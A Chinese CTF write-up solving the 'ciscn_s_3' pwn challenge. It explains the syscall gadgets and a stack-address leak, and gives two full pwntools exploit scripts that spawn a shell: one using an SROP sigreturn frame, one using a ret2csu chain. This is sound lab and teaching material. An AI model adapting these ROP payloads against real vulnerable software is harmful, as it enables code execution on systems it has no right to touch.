昨天做了一个晚上的麻烦题,研究了好长时间也没在本地打通,结果第二天早上一试远程就通了,估计本地环境没有搭好
首先checksec一下:

很平常的64位程序,只开了一个NX,接着进ida64:
main函数直接跳转到了vuln函数,我们先分析vuln函数:

注意这里的sys_read与sys_write,它们和之前的read和write库函数是不同的。仔细分析发现左侧的函数表中并没有read和write函数。我们直接看汇编:

这里用到的指令是syscall。上网上查了查,这个指令是用来进行系统调用的,根据rax寄存器的值来执行不同的系统调用,传参用的寄存器依旧是rdi,rsi,rdx等。
这个指令和32位的int 80h中断很相似,只不过后者传参用寄存器是ebx,ecx等,而且调用表也不一样。(32位的execve是11,64位的是59,即0x3B)
第一个系统调用时rax为0,调用的便是sys_read,第二个rax为1,调用的便是sys_write;
还有一个要注意的是该程序push了rbp之后没有leave,所以正常是无法正确退出的,我们构造溢出时就不用补rbp了
了解了这点后我们再接着分析,发现buf很显然存在溢出风险,可以尝试构造ROP链进行攻击;
注意到程序里的gadgets函数:
反汇编什么都没有,我们直接看汇编:

结合程序给出的syscall,这里有两段gadget可以利用,一个是0x4004DA段可以将rax设置为0xF,另一个0x4004E2段可以将rax设置为0x3B;
根据上面的表,前者指向的是rt_sigreturn,后者指向的是execve,接下来ROP链的有两个方向;
无论是哪个方向,都需要一个指向”/bin/sh”的地址,由于程序里没有相关字符串,我们需要在栈上构造/bin/sh并泄露栈地址,第一波攻击思路便是利用sys_write输出的0x30个字符中找到和栈地址相关的数据;
先来gdb调试一下子:

这是ret时的栈结构,可以看出没有leave导致ret的地址指向了rbp而不是下一个0x400536,我们再看看它输出的0x30个字符:
1 2 3
| payload = b'a' * 16 payload += p64(mainAddr) p.send(payload)
|
这里和gdb分析的一样,我们覆盖的rbp的后面紧接着就是地址0x400536,注意到在接下来的地址指向了一个某一个栈地址,我们可以利用这个泄露来计算buf地址的偏移,从而在栈上构造/bin/sh;
1 2 3
| p.recv(0x20) stackAddr = u64(p.recv(8)) - 0x138 log.success(hex(stackAddr))
|
这里的stackAddr指向的是buf的基地址,下一轮我们直接在payload的未溢出部分写入/bin/sh:
1 2
| payload = b'/bin/sh\x00' payload = payload.ljust(16, b'\0')
|
接下来我们有sigreturn和execve两个方向,
对于前者,我在CTFwiki上查到了相关资料以及利用手段,参考了给的例题以及网上其他的write up尝试构造了一份:
1 2 3 4 5 6 7
| sigframe = SigreturnFrame() sigframe.rax = 0x3b sigframe.rdi = stackAddr sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stackAddr sigframe.rip = syscall_retAddr
|
然后再把它接到syscall的后面作为伪造的signal Frame :
1 2 3 4
| payload += p64(bdrAddr) payload += p64(syscall_retAddr) payload += bytes(sigframe) p.send(payload)
|
这样就能拿到flag了:

这种情况的完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import * from LibcSearcher import *
context(arch="amd64",os="linux",log_level="debug") binary = '../ciscn_s_3' elf =ELF(binary)
local = 0 port = 29144 ip = "61.147.171.105" if local == 0: p = process(binary) else: p = remote("node5.buuoj.cn",port)
next = b"ls && cat flag"
mainAddr = elf.symbols["main"] bdrAddr = 0x4004d7 syscall_retAddr = 0x0000000000400517
payload = b'a' * 16 payload += p64(mainAddr) p.send(payload)
p.recv(0x20) stackAddr = u64(p.recv(8)) - 0x138 log.success(hex(stackAddr))
sigframe = SigreturnFrame() sigframe.rax = 0x3b sigframe.rdi = stackAddr sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stackAddr sigframe.rip = syscall_retAddr
payload = b'/bin/sh\x00' payload = payload.ljust(16, b'\0') payload += p64(bdrAddr) payload += p64(syscall_retAddr) payload += bytes(sigframe) p.send(payload)
p.sendline(next) p.interactive()
|
对于后者,我们需要利用系统调用execve,不但要把rdi指向binsh地址,还需要将rsi和rdx全都置0;

ROPgadget无法找到rdx相关的gadget(根本没有),因此我们选择使用ret2csu:

这里参考了一下这个write up:注意这里是edi而不是rdi,64位传参的地址需要8位寄存器,这个edi是不够的,因此我们还需要rdi来传参:

第二个payload构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| payload = b'/bin/sh\x00' * 2 payload += p64(bdrAddr) payload += p64(csuEnd) payload += p64(0) payload += p64(1) payload += p64(stackAddr + 0x10) payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(csuStart) payload += b'a' * 0x38 payload += p64(rdiAddr) payload += p64(stackAddr) payload += p64(syscall_retAddr) p.sendline(payload)
|
这种也可以拿到flag。完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * from LibcSearcher import *
context(arch="amd64",os="linux",log_level="debug") binary = '../ciscn_s_3' elf =ELF(binary)
local = 0 port = 29144 if local == 0: p = process(binary) else: p = remote("node5.buuoj.cn",port)
next = b"ls && cat flag"
mainAddr = elf.symbols["main"] bdrAddr = 0x4004d7 rdiAddr = 0x00000000004005a3
syscall_retAddr = 0x0000000000400517 csuStart = 0x400580 csuEnd = 0x40059a
payload = b'a' * 16 payload += p64(mainAddr) p.send(payload)
p.recv(0x20) stackAddr = u64(p.recv(8)) - 0x138 log.success(hex(stackAddr))
payload = b'/bin/sh\x00' * 2 payload += p64(bdrAddr) payload += p64(csuEnd) payload += p64(0) payload += p64(1) payload += p64(stackAddr + 0x10) payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(csuStart) payload += b'a' * 0x38 payload += p64(rdiAddr) payload += p64(stackAddr) payload += p64(syscall_retAddr) p.sendline(payload)
p.sendline(next) p.interactive()
|